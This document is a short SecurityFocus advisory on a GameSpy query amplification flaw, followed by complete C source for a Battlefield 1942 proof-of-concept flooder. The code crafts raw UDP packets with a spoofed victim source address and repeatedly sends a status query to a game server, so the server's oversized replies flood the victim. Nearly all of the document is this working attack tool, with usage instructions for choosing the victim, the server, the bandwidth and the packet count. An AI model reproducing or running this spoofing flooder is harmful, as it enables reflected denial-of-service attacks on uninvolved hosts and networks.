// source: https://www.securityfocus.com/bid/6636/info
A vulnerability has been reported for several games that support the use of the GameSpy network.
A game client typically queries a game server using the UDP protocol. It has been reported that a simple query by a client may result in a game server responding with overly large responses which may result in the saturation of available network bandwidth.
Exploitation of this issue may aid in launching denial of service attacks against other hosts and networks.
/************************************************************************/
/* Battlefield 1942 - All Versions flooder (proof-of-concept) */
/* by Mike Kristovich (mkristovich@pivx.com) */
/* */
/* Filename: bf1942dos.c */
/* Location: http://www.pivx.com/kristovich/poc/bf1942dos.c */
/* */
/* Proof-of-concept code for PivX Security Advisory MK#001 */
/* */
/* Linux version (MK-POC-001/1.0) */
/* */
/* Description of code: */
/* This exploit will spoof UDP packets from a source which you */
/* specify, to a Battlefield 1942 server. The server will send */
/* packets to the victim, regardless of victim status. */
/* */
/* */
/* This source has been tested and compiled on Linux. */
/* This source is covered by the GNU GPL. */
/************************************************************************/
/* Thanks to Luigi for assistance with the code! */
/************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <string.h>
#define IPSZ sizeof(struct iphdr)
#define UDPSZ sizeof(struct udphdr)
#define DATASZ sizeof(STRING) - 1
#define PSEUDOSZ sizeof(struct pseudohdr)
#define BUFFSZ 100
#define SIZE (IPSZ + UDPSZ + DATASZ)
#define STRING "\\players\\status\\packets\\rules\\"
#define SRCPORT 1204
#define DSTPORT 230
u_short in_cksum(unsigned short *addr, int len);
u_long resolv(char *host);
void std_err(void);
struct pseudohdr {
u_int32_t saddr;
u_int32_t daddr;
u_int8_t zero;
u_int8_t protocol;
u_int16_t length;
} *pseudohdr;
int main(int argc, char *argv[]) {
u_char buff[BUFFSZ],
pseudobuff[BUFFSZ],
*data;
struct sockaddr_in peer;
struct iphdr *iphdr;
struct udphdr *udphdr;
int shandle,
err;
u_int32_t source,
dest;
u_int16_t sport,
dport;
int packetsent;
int maxpackets;
int pktdoubler;
int bandwidth;
printf("\r\n---------------------------------------------------\r\n");
printf(" Game Server DoS - Proof-of-Concept\r\n");
printf(" by Mike Kristovich, PivX Security Researcher\r\n");
printf("= http://www.PivX.com : : mkristovich@pivx.com =\r\n");
printf("---------------------------------------------------\r\n");
printf("= Advisory MK#001 : : Battlefield 1942 DoS =\r\n");
printf("---------------------------------------------------\r\n");
setbuf(stdout, NULL);
if(argc < 4)
{
fprintf(stderr,"Usage: %s <IP_to_flood> <Server_IP> <kBps_to_use> <#_packets>\r\n",*argv);
printf(":: Options :: <victim_port[default 53]> <server_port[default 23000]>\r\n");
exit(1);
};
source = resolv(argv[1]);
dest = resolv(argv[2]);
if (!argv[6])
dport = DSTPORT;
else
dport = atoi(argv[6]);
if (!argv[5])
sport = SRCPORT;
else
sport = atoi(argv[5]);
printf("Sending packets to server ...");
peer.sin_addr.s_addr = dest;
peer.sin_port = htons(dport);
peer.sin_family = AF_INET;
iphdr = (struct iphdr *)buff;
udphdr = (struct udphdr *)(buff + IPSZ);
data = (u_char *)(buff + IPSZ + UDPSZ);
pseudohdr = (struct pseudohdr *)pseudobuff;
/* build data */
memcpy(data, STRING, DATASZ);
/* build IP header */
iphdr->ihl = 5;
iphdr->version = 4;
iphdr->tos = 0x8;
iphdr->tot_len = SIZE;
iphdr->id = 156;
iphdr->frag_off = 0;
iphdr->ttl = 128;
iphdr->protocol = IPPROTO_UDP;
iphdr->check = 0;
iphdr->saddr = source;
iphdr->daddr = dest;
/* build UDP header */
udphdr->source = htons(sport);
udphdr->dest = htons(dport);
udphdr->check = 0;
udphdr->len = htons(UDPSZ + DATASZ);
/* build pseudo header for calculate checksum (copy UDP header and data in it) */
memcpy(pseudobuff + PSEUDOSZ, buff + IPSZ, UDPSZ + DATASZ);
pseudohdr->saddr = iphdr->saddr;
pseudohdr->daddr = iphdr->daddr;
pseudohdr->zero = 0;
pseudohdr->protocol = IPPROTO_UDP;
pseudohdr->length = udphdr->len;
udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ + UDPSZ + DATASZ);
/* send all */
shandle = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(shandle < 0) std_err();
/* do kbps handling */
/* set up max packets */
maxpackets = atoi(argv[4]);
/* set up packet-doubler bandwidth management */
bandwidth = atoi(argv[3]);
for (packetsent = 0; packetsent < maxpackets; packetsent++) {
for (pktdoubler = 0; pktdoubler < bandwidth; pktdoubler++) {
err = sendto(shandle, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();
packetsent++;
};
usleep(24000);
};
printf("\r\nSpoofed packets sent to Battlefield 1942 server.\r\n");
close(shandle);
return(0);
}
u_short in_cksum(unsigned short *addr, int len) {
int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
while(nleft > 1) {
sum += *w++;
nleft -= 2;
}
if(nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(hp == 0) std_err();
else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
void std_err(void) {
perror("\nError");
exit(1);
}
